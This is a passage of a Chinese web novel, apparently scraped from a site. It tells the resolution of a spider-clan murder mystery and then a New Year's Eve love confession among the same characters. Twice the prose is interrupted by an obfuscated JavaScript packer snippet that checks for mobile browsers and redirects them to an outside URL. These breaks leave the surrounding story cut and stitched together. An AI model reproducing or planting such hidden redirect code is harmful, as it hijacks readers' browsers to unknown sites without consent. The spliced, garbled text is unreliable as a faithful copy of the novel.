“她在干什么呢?”顾时夜好奇地探头。 就在这时,苏圩木忽然抬起头,看向窗外,眼神中闪过一丝警惕。顾氏兄弟连忙缩回脑袋,屏住呼吸。 过了一会儿,见没有动静,顾时夜又小心翼翼地探出头,却看到苏圩木已经站了起来,走到窗边,轻轻推开了一条缝隙,然后从怀里掏出了一样东西,放在嘴边,似乎在……吸食? “小白!你看!”顾时夜连忙拉了拉弟弟。 顾夜白也看了过去,只见苏圩木手里拿着的,似乎是一小块暗红色的物体,形状不规则,她放在嘴边,用牙齿轻轻啃咬着,脸上露出一种奇异的满足感。 “那是什么?肉吗?”顾夜白皱起眉头,“大晚上的吃这个?” “不像普通的肉,”顾时夜眼神锐利,“颜色太深了,而且她吃的样子……有点奇怪。” 两人正看得入神,突然听到身后传来一阵轻微的脚步声。 “谁?”顾时夜猛地回头,只见一个黑影站在不远处,月光下看不清面容。 “是我。”一个低沉的声音响起,是江知烨。 “江大人!”顾氏兄弟松了口气,连忙站起来。 “你们在这里干什么?”江知烨走到他们身边,“有没有发现什么?” “我们看到苏圩木在吃东西,”顾时夜连忙说道,“一块暗红色的肉,样子很奇怪。” 闻言江知烨眼神一凝,看向正房,只见苏许暮已经关上了窗户,房间里的灯光也熄灭了。 “走,去看看。”江知烨低声道。 三人绕到窗户边,江知烨轻轻推了推窗户,发现已经从里面闩上了。他示意顾氏兄弟退后,然后从腰间取出一根细针,小心翼翼地插入门缝,轻轻一挑,门闩应声而落。 三人就这样悄无声息地走进房间,一股淡淡的血腥味混合着甜香扑面而来,正是江知烨在顾云房间里闻到的那种味道,只是这里更加浓郁。 房间里一片漆黑,江知烨点亮了随身携带的火折子,昏暗的光芒照亮了房间。只见苏圩木已经躺在床上,呼吸均匀,似乎睡着了。 “刚才她还在吃东西,怎么这么快就睡着了?”顾夜白疑惑。 江知烨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江知烨将找到的布包和蛛丝放在桌上,沉声道:“我们找到了苏圩木藏匿的肉块和蛛丝,看来苏许暮确实是被她……食用了。” 方妙闻言,脸色大变:“真的是这样?太残忍了……” “我还去问了老大夫,”方妙定了定神,说道,“老大夫说,黑寡妇蜘蛛族雌性在怀孕后,如果没有及时食用雄性,身体会极度虚弱,为了维持生命和孕育后代,她们体内的本能会被激发,可能会寻找血缘亲近的同族作为替代,吸取他们的血液和生命力,甚至……食用他们的身体。这种情况下,她们会分泌一种特殊的蛛丝,用来包裹和保存‘食物’,就是我们找到的这种黑色蛛丝。” 一切都对上了。 真正的苏许暮,恐怕还活着。而我们以为活着的‘苏圩木’其实是妹妹‘苏许暮。’ 苏许暮怀孕后,身体虚弱,本能让她需要营养,而姐姐苏圩木为了保护她,选择了牺牲自己,让她一点点吸食自己的血液和身体,最终导致死亡。 “那顾云呢?他是怎么死的?”顾时夜急切问道。 “我想,”江知烨缓缓道,“大婚之夜,顾云喝醉了,确实去找了苏许暮,可能是想向她倾诉,也可能是酒后乱性,想要强迫她。苏许暮在反抗中,出于自卫或者愤怒,用自己的毒牙咬死了顾云。” “可是,”顾夜白疑惑,“苏许暮不是喜欢顾云吗?为什么会杀他?” “喜欢归喜欢,但被强迫的感觉是不一样的,”方妙叹了口气,“而且,顾云当时是她的姐夫,他的行为对苏许暮来说,可能是一种背叛和伤害。在那种混乱的情绪下,失手杀了人,也不是不可能。” 江知烨点点头:“还有一种可能,就是顾云在和苏许暮发生关系后,知道了自己对不起苏圩木,也知道了自己无法和苏许暮在一起,一时想不开,或者苏许暮怕事情败露,才下了杀手。” “那苏圩木为什么要帮她隐瞒?”顾时夜问。 “因为她们是亲姐妹,”江知烨的声音有些沉重,“苏圩木知道妹妹杀了人,为了保护妹妹,她只能选择隐瞒真相,甚至不惜牺牲自己的生命,来满足妹妹的生存需求。” 这是一场由爱、恨、本能和亲情交织而成的悲剧。 “可是,我们现在有证据吗?”方妙问道,“虽然我们推测出了真相,但没有直接证据证明是苏许暮杀了顾云,也没有证据证明她杀了苏圩木。” “肉块和蛛丝就是证据,”江知烨拿起桌上的布包,“这些肉块,我们可以拿去让老大夫鉴定,看看是不是苏圩木的。至于顾云的死,我们虽然没有直接证据,但可以从苏许暮的言行和这些线索中,推断出真相。” “可是,她是一个孕妇,而且是受害者的妹妹,我们就这样抓她吗?”顾夜白有些不忍。 江知烨沉默了。这确实是一个难题。苏许暮是凶手,但她也是一个受害者,同时还是一个的母亲。 “人人平等,”江知烨最终还是说道,“无论她有什么苦衷,杀人就是杀人,必须要承担相应的责任。不过,考虑到她怀有身孕,我们可以向上面申请,从轻处理。” 众人都没有说话,气氛显得有些沉重。 “好了,”江知烨站起身,“时候不早了,我们先回去休息,明天一早,我会去顾家,正式逮捕‘苏圩木’。” “我们和你一起去!”顾时夜和顾夜白齐声说道。 方妙也点点头:“我也去。” 江知烨看着他们坚定的眼神,点了点头。窗外,夜色深沉,星光黯淡,似乎也在为这场悲剧而叹息。但黎明总会到来,真相也终将大白,无论它有多么残酷。 又是多么畸形..... 40. 尘埃落定余音 翌日清晨,天色微明,江知烨带着方妙和顾氏兄弟,再次来到了顾家大宅。 与往日的压抑不同,今天的顾家似乎多了一丝诡异的平静。 老管家看到江知烨一行人脸色凝重地走来,心中咯噔一下,连忙迎上前:“江大人,您这是……” “老管家,我们要见苏圩木,”江知烨的声音严肃,“请你带路。” 老管家张了张嘴,似乎想说什么,但看到江知烨不容置疑的眼神,最终还是叹了口气,引着他们来到了东跨院。 推开房门,只见‘苏圩木’已经醒了,正坐在床边,手里拿着一块绣了一半的帕子,眼神平静地望着窗外。听到动静,她缓缓转过头,看到江知烨等人,脸上没有任何惊讶的表情,仿佛早已料到他们会来。 “江大人,你们来了。”她的声音异常平静,甚至带着一丝解脱。 江知烨走到她面前,沉声道:“苏许暮,我们怀疑你与顾云的死和苏圩木的死有关,请你跟我们走一趟,配合调查。” 苏许暮低下头,轻轻抚摸着自己的小腹,嘴角露出一抹苦涩的笑容:“终于还是来了……” “你承认了?”方妙忍不住问道。 苏许暮抬起头,眼神中充满了哀伤:“承认与否,又有什么区别呢?人已经死了,再也回不来了。” “那你就把事情的经过告诉我们吧,”江知烨放缓了语气,“也许……能给你一个公正的判决。” 苏许暮沉默了片刻,仿佛在回忆那段不堪回首的往事,然后缓缓开口: “顾云……他确实喜欢我,但我......不喜欢他......我喜欢我的姐姐.......” “家族的联姻像一座大山,压得我们喘不过气来。大婚那天,他喝了很多酒,我知道他心里苦,我也苦……” “那晚,他喝醉了,摇摇晃晃地来到我的房间,他说他对不起我,说他不想娶姐姐,他只想和我在一起……他抱着我,哭着,说着胡话。后来,他可能是酒劲上来了,开始……开始撕扯我的衣服,他说他不管了,他今晚就要和我在一起……” 苏许暮的声音开始颤抖,眼中闪烁着泪光:“我很害怕,也很生气。我推开他,让他走,可他不听,还说我是骗他的,说我根本就是喜欢他,因为每次我总会看着姐姐和他……我当时脑子一片空白,只想让他停下来,于是……于是我就……” 她没有说下去,但众人都明白了。她在反抗中,用自己的毒牙咬死了顾云。 “后来呢?”江知烨问道。 “后来姐姐来了,”苏许暮的眼泪终于流了下来,“她看到了一切,没有怪我,只是抱着我,说没事,有她在。她帮我处理了现场,把顾云的尸体搬回了他自己的房间,对外只说是暴毙。” “那你姐姐……苏圩木,她是怎么死的?”方妙轻声问道。 提到姐姐,苏许暮的情绪变得激动起来,她捂住脸,失声痛哭:“是我……是我害死了她!顾云死后不久,我发现自己怀孕了。我知道我们黑寡妇蜘蛛族的习性,怀孕后如果没有足够的营养,不仅孩子保不住,我自己也会死……” “姐姐知道后,什么也没说,只是每天变着法地给我做好吃的,可那些根本不够……我开始控制不住自己的本能,我想吸血,想吃肉……姐姐看到我痛苦的样子,就……就主动把她的手腕伸给我,让我吸她的血……” “一开始只是吸血,后来……后来我的本能越来越强烈,我开始忍不住咬她,吃她身上的肉……姐姐她一直忍着,还笑着对我说,没事,妹妹,吃了姐姐,你和孩子就能活下去了……” “我不想吃她的,我不想的!”苏许暮痛苦地捶打着自己的胸口,“可是我控制不住……我太饿了,太虚弱了……直到昨天早上,我醒来的时候,发现姐姐她已经没有呼吸了……她的身体……已经被我……” 说到这里,苏许暮已经泣不成声,瘫倒在椅子上。 房间里一片寂静,只有苏许暮的哭声在回荡。江知烨等人的心情都异常沉重,这场悲剧的真相,比他们想象的更加残酷和悲伤。 苏圩木用自己的生命,保护了妹妹和她腹中的孩子,而苏许暮则在本能和亲情的挣扎中,走向了毁灭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694772|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “够了,”江知烨打断了苏许暮的哭诉,声音中带着一丝不忍,“跟我们走吧。” 顾时夜和顾夜白上前,想要扶起苏许暮,却被她轻轻推开。 “我自己走。”苏许暮擦干眼泪,站起身,虽然身形依旧消瘦,但眼神中却多了一丝平静和决绝。 她走到门口,回头看了一眼这个充满了回忆和悲伤的房间,然后毅然决然地走了出去。 江知烨看着她的背影,心中百感交集。他挥了挥手,让顾氏兄弟跟上,自己则留在原地,整理着思绪。 方妙走到他身边,轻声问道:“知烨,她会怎么样?” 江知烨叹了口气:“她杀了人,按律当斩。但她怀有身孕,可能会等到孩子出生后再做判决。至于她腹中的孩子……唉,一出生就没有了父亲和母亲,也不知道是幸还是不幸。” 这是一个没有赢家的结局。 顾云死了,苏圩木死了,苏许暮也将面临最终的制裁,只剩下一个无辜的孩子,要在这世间承受着上一辈留下的悲剧。 “我们走吧,”江知烨拍了拍方妙的肩膀,“案子结了,但留给我们的思考,却远没有结束。” 两人走出东跨院,阳光洒在他们身上,暖洋洋的,但他们的心情却依旧沉重。顾家大宅的门口,苏许暮正被顾氏兄弟“押送”着离开,周围围了一些看热闹的村民,指指点点,议论纷纷。 江知烨没有理会这些,他抬头望向天空,湛蓝的天空中飘着几朵白云,一切似乎都恢复了平静,但青石镇的人们都知道,这场由双生姐妹和蛛网迷案引发的悲剧,将会成为他们心中一个长久的印记。 而江知烨、方妙、顾时夜和顾夜白,也在这场案件中,见识了人性的复杂和生命的脆弱,他们的肩上,似乎也多了一份沉重的责任。 “江大人!”顾时夜回头喊道,“走啦!” 江知烨收回目光,对着顾时夜和顾夜白点了点头,然后与方妙并肩而行,朝着青石镇的街道走去。 这场案件——她以骨血为祭编织的畸形爱恋,成为扭曲的情丝,织就死亡与新生的悲歌。 41. 心事暗藏 离除夕还有三天,空气中已经弥漫开浓烈的年味儿。 江知烨家的庭院每年都是大家过年的地,今年也一样。院落被收拾得敞亮,几株老梅在墙角开得正盛。 此刻,院子里正热闹着。 “江大人!你看我这灯笼挂得够高吧?绝对全镇最气派!”顾时夜仰着脖子,得意洋洋地指着刚挂上的大红灯笼。 顾夜白正踮着脚帮他调整绳子,嘴里嘟囔着:“哥,你再晃悠,绳子该断了,到时候砸着妙儿姐可怎么办?” “去去去,乌鸦嘴!”顾时夜拍开弟弟的手,转头又冲着屋里喊,“妙儿姐!出来看看呀!” 方妙端着一盘刚切好的冻柿子从屋里走出来,闻言抬头,眼睛弯成了月牙:“时夜,夜白,你们俩小心些,别摔着了。” 随即她将盘子放在石桌上,目光扫过院子,“知烨和阿澜哥呢?” “在厨房呢,”顾夜白蹭到方妙身边,抓起一块柿子塞进嘴里,凉得直吸气,却还是笑眯眯地说,“江大人说今年要露一手,阿澜哥在给他打下手呢。” 方妙“噗嗤”一声笑了出来:“知烨的手艺……还是让阿澜哥多盯着点吧。去年他非要露一手,结果揉个面弄的到处都是,最后还是人漠澜收拾了烂摊子。” 而此刻,在厨房角落,安德鲁正帮着柳漠澜择菜,目光却时不时飘向窗外那个蹦蹦跳跳的身影。 “还在想?”柳漠澜低头切着香菇,“看你这几天魂不守舍的,刀都快拿不稳了。” 安德鲁回过神,苦笑了一下:“漠澜,你说……我真的可以吗?” 他对妙儿的一见钟情,从初见那年算起,那可是七百年有余了。如今的她,好不容易留了下来,天天跟着江知烨闯祸,回头冲他笑得没心没肺,一口一个“安德鲁”,叫得他心都化了。 可这丫头,心思单纯,对男女之情似乎格外迟钝,就算有时候被他逗得脸颊绯红,也从未往那方面想过。 柳漠澜放下刀,用帕子擦了擦手,看向他:“喜欢就去说,扭扭捏捏的,不像你。”他顿了顿,目光落在窗外的身影上,“妙儿性子直,你若藏着掖着,她怕是一辈子都不会懂。” “我知道,”安德鲁叹了口气,“可我怕……怕说了连现在这样的朋友都做不成。而且,今年除夕……” 他想给她一个难忘的夜晚,一个郑重的表白,可越是重视,就越是紧张。 “除夕是个好时候,”柳漠澜淡淡道,“辞旧迎新,万象更新,适合说些重要的话。”他顿了顿,又补充了一句,“知烨那人,看着粗线条,其实心思也细腻,去年他……”他没再说下去,只是拍了拍安德鲁的肩膀,“去吧,我们都在。” 安德鲁看着柳漠澜温和的眼神,心中安定了不少。 是啊,他们都在。 他深吸一口气,点了点头:“好,我知道了。” 就在这时,顾时夜咋咋呼呼地冲进厨房:“江大人!阿澜哥!安大人!妙儿姐说饺子馅不够了,让你们赶紧想想办法!”他一眼看到安德鲁,又挤眉弄眼地凑过去,“安大人,你刚才看妙儿姐的眼神可够深情的啊,是不是又在想什么‘少儿不宜’的事儿?” 安德鲁抬手就给了他一个爆栗:“去去去,小孩子家家的懂什么。” 顾时夜捂着脑袋,委屈地说:“我和小白都不小了!再说了,去年江大人和阿澜哥……” “顾时夜!”江知烨端着一碗调好的肉馅从里间走出来,瞪了他一眼,“再胡说八道,今晚的饺子你就别吃了!”此刻的他脸上还沾着点面粉,显得有些滑稽。 柳漠澜无奈地摇了摇头,接过他手里的碗:“小心烫。” 安德鲁看着这一幕,心中更是坚定了决心。他也要像知烨一样,勇敢地说出自己的心意。 院子里,方妙正和顾夜白一起堆雪人,她戴着厚厚的手套,鼻尖冻得通红,却笑得格外开心。白鸽不知何时站在了她的不远处,手里拿着一根胡萝卜,大概是想给雪人当鼻子。 方妙看到他,笑着招手:“白鸽,过来帮我们看看,这个雪人歪不歪?” 安德鲁从厨房出来,走到方妙身边,自然地接过她手里的铲子:“我来帮你吧,手都冻红了。” 方妙抬头,阳光勾勒出对方英挺的侧脸,眼神温柔得能滴出水来。 她心里莫名地一跳,连忙低下头,小声说:“谢谢安德鲁。” 不知为何,每次靠近他,她都会觉得有些害羞,心跳也会乱了节奏。 安德鲁看着小姑娘泛红的耳根,嘴角不自觉地扬起:“傻丫头,谢什么。”他顿了顿,轻声说,“妙儿,今年除夕,会很热闹,你……会一直待在我身边吗?”语气里是不易察觉地偏执。 方妙愣了一下,抬起头,眼里满是疑惑:“我们不是一直都在一起吗?每年除夕都一起过的呀。” 安德鲁心里叹了口气,这丫头,果然没听懂。 他笑了笑,揉了揉对方的头发:“嗯,说得对,我们一直都在一起。” 只是,他希望,从这个除夕开始,“在一起”能有不一样的意义。 时间在忙碌与期盼中悄然流逝,转眼便到了除夕这天。 天还未亮,江知烨家的院子里就已经热闹起来。 顾时夜和顾夜白兄弟俩举着扫帚,哼哧哼哧地扫着积雪,嘴里还念叨着“扫走晦气,迎来福气”。 方妙则跟着柳漠澜在厨房里忙碌,揉面、擀皮、包饺子,动作虽不如柳漠澜娴熟,却也透着一股认真劲儿。 江知烨像个总指挥,一会儿看看这个,一会儿瞧瞧那个,时不时还抽空跑到柳漠澜身边,趁人不注意偷个懒腻个歪,蹭蹭对方的肩膀,换来柳漠澜一个无奈又温柔的眼神。 “知烨,你去看看时夜他们,别让他们把院子扫到隔壁去了。”柳漠澜一边包饺子,一边头也不抬地说。 “哎,好嘞!”江知烨应了一声,却没立刻走,反而凑到柳漠澜耳边,低声说了句什么,逗得柳漠澜耳根微微泛红,嗔怪地瞪了他一眼:“快去。” 方妙在一旁看得直乐,忍不住调侃:“知烨,你再这么黏着阿澜哥,时夜该说你了。” 江知烨哈哈一笑,拍了拍方妙的肩膀:“妙儿,这你就不懂了,黏着自家心上人,天经地义!”他说着,目光有意无意地瞟了安德鲁一眼。 安德鲁正在劈柴,闻言动作顿了一下,随即若无其事地继续,只是耳根也跟着红了。 方妙没注意到他的异样,只是被江知烨说得有些不好意思,低下头继续包饺子。 忙碌了大半天,总算到了傍晚。夕阳西下,将天空染成一片绚烂的橘红色。院子里的红灯笼全都亮了起来,暖融融的光芒驱散了冬日的寒意。石桌上摆满了丰盛的菜肴,热气腾腾,香气四溢。 “开饭咯——!”顾时夜扯着嗓子喊了一声,第一个冲到桌边,搓着手准备大快朵颐。 “等等!”江知烨拦住他,“先祭祖,再吃饭。” 这是城里的规矩,除夕之夜,要先摆上酒菜,祭拜祖先,祈求来年平安顺遂。 众人肃静下来,江知烨作为主人,上前恭敬地摆好碗筷,点燃香烛。、安德鲁、柳漠澜、方妙、白鸽、顾时夜、顾夜白、依次上前,对着牌位行礼。 祭拜完毕,众人终于围坐在一起。江知烨拿起酒壶,给每个人都倒上了温热的米酒:“来,各位,今年是个好年,我们大家都平平安安,顺顺利利!尤其是我和阿澜……”他说着,看向柳漠澜,眼里满是笑意,“希望来年,我们都能得偿所愿,心想事成!” “说得好!”顾时夜端起酒杯,“江大人说得对!我先干为敬!” “哥,你慢点,没人跟你抢!”顾夜白连忙拉住他。 柳漠澜看着闹哄哄的众人,嘴角噙着一丝温和的笑意,他端起酒杯,看向安德鲁,微微颔首,眼神里带着鼓励。安德鲁深吸一口气,也端起酒杯,目光在众人脸上扫过,最后落在方妙身上。 “妙儿,”他开口,声音带着一丝不易察觉的紧张,“这一年……辛苦你了。” 方妙愣了一下,随即笑道:“安德鲁,你说什么呢,我们是朋友呀。” “对,我们是朋友,”安德鲁看着她的眼睛,认真地说,“最好的朋友。但我希望……”他的话还没说完,就被顾时夜打断了。 “哎哎哎,安大人,你这话说得不对啊!”顾时夜大大咧咧地说,“什么叫‘最好的朋友’,我们不都是最好的朋友吗?” 顾夜白也跟着点头:“就是就是,安大人,你可不能厚此薄彼啊。” 安德鲁无奈地看了他们一眼,知道这俩活宝又在捣乱。 方妙也被他们逗笑了,端起酒杯:“好啦好啦,我们都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694773|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的朋友,来,喝酒!” 安德鲁只好将到了嘴边的话又咽了回去,跟着大家碰了杯。酒液温热,滑入喉咙,却没能驱散他心中的紧张和一丝失落。 柳漠澜看在眼里,不动声色地给安德鲁夹了一筷子菜,低声说:“别急,有的是机会。” 安德鲁感激地看了他一眼,点了点头。 一顿年夜饭吃得热闹非凡。方妙胃口很好,吃得小脸圆鼓鼓的;安德鲁只好一边应付着调侃,一边留意着方妙的喜好,不动声色地给她夹菜; 吃过晚饭,收拾好碗筷,众人便来到院子里。江知烨早就准备好了烟花和爆竹。顾时夜和顾夜白兴奋地跑过去,抢着要放。 “小心点,别烫着手!”方妙在一旁叮嘱道。 “知道了,妙儿姐!”两人头也不回地说。 随着“嘭”的一声巨响,第一支烟花冲上夜空,在漆黑的天幕上炸开,瞬间绽放出璀璨的光芒,五颜六色,绚丽夺目。 “哇——!”方妙忍不住惊叹出声,仰着小脸,眼里闪烁着兴奋的光芒。 安德鲁站在她身边,看着她被烟花映亮的脸庞,心里软得一塌糊涂。 他多想时间就停在这一刻,只有他们两个人,在绚烂的烟花下,他可以告诉她,他心悦她,很久很久了。 接下来,烟花一支接一支地升空,绽放,又落下。院子里充满了欢声笑语和惊叹声。顾时夜和顾夜白放完烟花,又去点爆竹,“噼里啪啦”的声音响成一片,更添了几分年味儿。 方妙看得入了迷,时不时拉着安德鲁的袖子,指着天空:“安德鲁你看,那个像不像星星?” “嗯,像。”安德鲁低头看着她,眼里满是宠溺。 其实只要心中有爱,低头就是星星。 柳漠澜和江知烨站在稍远的地方,看着这一幕,相视一笑。江知烨轻轻握住柳漠澜的手,低声说:“阿澜,你看他们,多好。” 柳漠澜点了点头,目光温柔:“是啊,很好。” 白鸽站在角落里,看着天空的烟花,又看了看人群中的方妙和安德鲁,眼神平静,却似乎藏着一丝不易察觉的情绪。 烟花放完了,夜空又恢复了宁静,只剩下天边淡淡的烟霞。顾时夜和顾夜白玩得满头大汗,跑回屋里喝水去了。 院子里只剩下安德鲁、方妙、柳漠澜、江知烨和白鸽。 “差不多该守岁了。”江知烨看了看天色,说道。 “嗯,”柳漠澜应了一声,“我去煮些甜汤来。” “我帮你。”江知烨立刻跟了上去。 院子里只剩下安德鲁、方妙和白鸽。气氛一时有些安静。 方妙搓了搓手,哈了口白气:“有点冷了。” 安德鲁立刻脱下自己的披风,披在她身上:“披上,别着凉了。”他的披风带着他身上淡淡的松木香,温暖而安心。 方妙脸颊一热,小声说:“谢谢安德鲁。” 安德鲁看着她,心里的话又涌了上来。他深吸一口气,刚想开口,却看到白鸽朝他们走了过来。 白鸽走到他们面前,看了看安德鲁,又看了看方妙,然后从手里的纸包里拿出一颗糖,递给方妙。那是一颗用彩色糖纸包着的麦芽糖。 方妙有些惊讶,接过糖,笑着说:“谢谢白鸽。” 白鸽摇了摇头,又看了安德鲁一眼,然后便转身走回了角落,继续默默地站着。 “安德鲁,”方妙剥开糖纸,将糖放进嘴里,甜甜的味道在舌尖弥漫开来,“你刚才想说什么?” 安德鲁的心猛地一跳,他看着方妙清澈的眼睛,鼓起勇气,刚要开口—— “咚——!” 远处的城中心传来一声沉闷的钟声,紧接着,“咚——咚——咚——”,钟声悠扬,传遍了整个镇子。 “是午夜的钟声!”方妙兴奋地说,“新年到了!” 安德鲁的话再次被打断,他看着方妙兴奋的样子,只好将到了嘴边的话又咽了回去,笑着说:“嗯,新年到了,妙儿,新年快乐。” “新年快乐,安德鲁!”方妙仰着小脸,对他笑得灿烂。 在新年的钟声里,安德鲁看着方妙的笑脸,心里既有失落,又有一丝庆幸。 至少,他还有时间,还有机会。他相信,今晚,他一定会找到一个最好的时机,告诉她所有的心意。 42. 情定除夕 新年的钟声余韵未散,院子里的气氛却悄然发生了一丝变化。 江知烨和柳漠澜端着热气腾腾的甜汤从屋里走出来。 “快来喝甜汤,暖暖身子!”江知烨招呼着大家。 方妙接过柳漠澜递来的碗,小口喝着,甜汤里有红枣和莲子,暖乎乎的,一直暖到心里。 安德鲁站在她身边,没有喝,只是目光灼灼地看着她,心里那股想要表白的冲动越来越强烈。 顾时夜啃着糖葫芦,眼睛滴溜溜地转,突然大声说:“哎呀,我想起来了!刚才放烟花的时候,我好像看到后院的柴房有点不对劲,安大人,你跟我去看看吧?” 安德鲁一愣,后院柴房能有什么不对劲? 他看向顾时夜,只见这小子一个劲地对他使眼色,旁边的顾夜白也跟着点头,眼神里满是“你懂的”的意味。 安德鲁心里一动,明白了他们的用意。 这两个小子,是想给他和妙儿创造单独相处的机会。 他感激地看了他们一眼,点了点头:“好,我跟你去。” 临走前,他看了方妙一眼,轻声说:“妙儿,你先喝甜汤,我去去就回。” 方妙不明所以,只是点了点头:“嗯,你们小心点。” 安德鲁跟着顾时夜和顾夜白往后院走去,柳漠澜看了他们一眼,对江知烨使了个眼色。江知烨会意,故意拉着柳漠澜和白鸽在石桌边坐下,慢条斯理地喝着甜汤,给前院的方妙留出了足够的空间。 前院里只剩下方妙一个人,她喝完甜汤,将碗放在石桌上,看着空荡荡的院子,心里莫名地有些紧张。 刚才安德鲁看她的眼神,太认真了,让她心跳得飞快。 她不知道安德鲁想说什么,但隐隐约约感觉到,似乎有什么重要的事情要发生。 就在这时,一阵冷风吹过,院子里的灯笼轻轻摇曳,光影晃动。 方妙裹紧了身上安德鲁的披风,那上面还残留着他温暖的气息,让她感到一阵心安。 突然,她听到后院传来一阵轻微的骚动,似乎是顾时夜和顾夜白的惊叫声,虽然很轻,但在寂静的夜里还是清晰可闻。 方妙心里一紧,站起身往后院走去:“时夜?夜白?安德鲁?你们怎么了?” 后院的柴房外,顾时夜和顾夜白正围着安德鲁,一脸“惊恐”。 “安大人!你看那是什么?!”顾时夜指着柴房角落里一个黑影,声音颤抖。 安德鲁定睛一看,只见那黑影动了动,发出“呜呜”的叫声,原来是一只受伤的小兽,像是一只幼狼,后腿似乎受了伤,正蜷缩在角落里,警惕地看着他们。 “原来是只受伤的小狼。”安德鲁松了口气,走上前去,想看看它的伤势。 顾时夜和顾夜白对视一眼,偷偷笑了笑,然后又装作害怕的样子:“安大人,它会不会咬人啊?我们还是叫江大人来吧?” “不用,”安德鲁蹲下身,小心翼翼地靠近小狼,“它受伤了,不会攻击人的。”他试图安抚小狼的情绪,伸出手,想摸摸它的头。 就在这时,方妙赶到了后院,看到眼前的情景,吓了一跳:“怎么了?发生什么事了?” “妙儿姐!”顾时夜立刻跑到她身边,“你看,柴房里有只小狼,好像受伤了!” 方妙走近一看,果然看到一只瑟瑟发抖的小狼,后腿上还有血迹。她立刻心软了:“好可怜啊,它伤得重不重?” 安德鲁已经检查完了小狼的伤势,抬头说:“还好,只是被什么东西划伤了,处理一下就没事了。”他看向方妙,“妙儿,你去屋里拿点伤药和干净的布来,好吗?” “嗯,好!”方妙立刻点头,转身就往屋里跑。 看着方妙的背影,顾时夜和顾夜白立刻凑到安德鲁身边,挤眉弄眼:“安大人,机会来了!等下妙儿姐回来,你就赶紧表白!我们保证不打扰!” 安德鲁无奈地笑了笑:“知道了,你们两个小家伙,赶紧去忙你们的吧。” 两人做了个鬼脸,嬉笑着跑开了,说是去给小狼找吃的。后院只剩下安德鲁和那只受伤的小狼。 没过多久,方妙拿着伤药和布回来了,额头上还带着一层细汗。“安德鲁,你看这些够吗?” “够了,”安德鲁接过东西,示意她蹲下,“你帮我按住它,我给它上药。” 闻言方妙小心翼翼地蹲下身,伸出手,轻轻按住小狼的身体。 小狼似乎感受到了她的善意,不再那么警惕,只是低声呜咽着。 安德鲁拿起伤药,仔细地给小狼清洗伤口,然后敷上药膏,最后用干净的布包扎好。他的动作很轻柔,眼神专注而温柔。 方妙看着他认真的侧脸,心里的那股异样感越来越强烈。 烛光下,对方的轮廓显得格外柔和,长长的睫毛在眼睑下投下淡淡的阴影。她突然发现,安德鲁好像和平时不太一样了,今天晚上的他,似乎格外温柔,格外……让人心动。 “好了,”安德鲁包扎好伤口,拍了拍手,“这样过几天应该就好了。” 小狼似乎也知道自己被治好了,用头蹭了蹭安德鲁的手,然后又蹭了蹭方妙的手,发出亲昵的叫声。 方妙笑了起来,轻轻抚摸着小狼的头:“真乖。” 安德鲁看着她温柔的样子,心里的爱意再也抑制不住。他深吸一口气,握住了方妙放在小狼身上的手。 方妙浑身一僵,猛地抬起头,对上安德鲁深邃的目光。对方的手心很温暖,带着淡淡的薄茧,掌心的温度透过皮肤,一直传到她的心里,让她的心跳瞬间失序。 “安德鲁……你……”她的声音有些颤抖,眼神里满是惊讶和不知所措。 “妙儿,”安德鲁的声音低沉而温柔,带着一丝紧张,却又无比坚定,“你听我说。” 他看着她的眼睛,一字一句地说:“从第一次见到你,我就喜欢上你了。那时候你站在黄沙里,你的眼睛如同我寻找的绿洲。我以为那只是一时的心动,可没想到,这一眼,就是好几百年。” “我看着你学习,看着你笑,看着你闹,看着你为了一点小事难过,看着你为了一点成就开心。我的目光,从来就没有离开过你。” 何时何地我都在看着你,注视着你。 “妙儿,我知道你性子活泼,心思单纯,可能一直没察觉到我的心意。没关系,是我太胆小,一直不敢告诉你。但是今天,在这个除夕之夜,在新年的钟声里,我不想再等了。” 他紧紧握住她的手,眼神里充满了期待和不安:“妙儿,我心悦你,不是朋友的那种喜欢,是想和你一直在一起,想照顾你,想保护你,想让你成为我生命中最重要的那个人的那种喜欢。” “我知道这很突然,如果你觉得……” “安德鲁!”方妙打断了他的话,她的脸颊绯红,眼睛里闪烁着泪光,不知道是激动还是感动,“你……你说的是真的吗?” 安德鲁看着她,用力点了点头:“是真的,妙儿,我说的都是真的。” 方妙看着他认真的眼神,感受着他手心里的温度,心里的那层窗户纸终于被捅破了。 原来那些莫名的心跳加速,那些不自觉的关注,那些看到他和别的女孩子说话时的失落,都是因为……她也心悦他。 她一直以为安德鲁只是把她当妹妹,当好朋友,所以从来不敢往那方面想。 她在青楼长大,从来不敢对那些甜言蜜语所期待,她甚至不知道什么才能算得上是爱。 直到刚才,听着他深情的告白,她才终于明白自己的心意。 眼泪忍不住掉了下来,不是难过,而是喜悦。她吸了吸鼻子,哽咽着说:“安德鲁……我……” 就在这时,突然,一阵尖锐的狼嚎声从远处传来,紧接着,又是好几声,一声比一声近,听起来充满了愤怒和威胁。 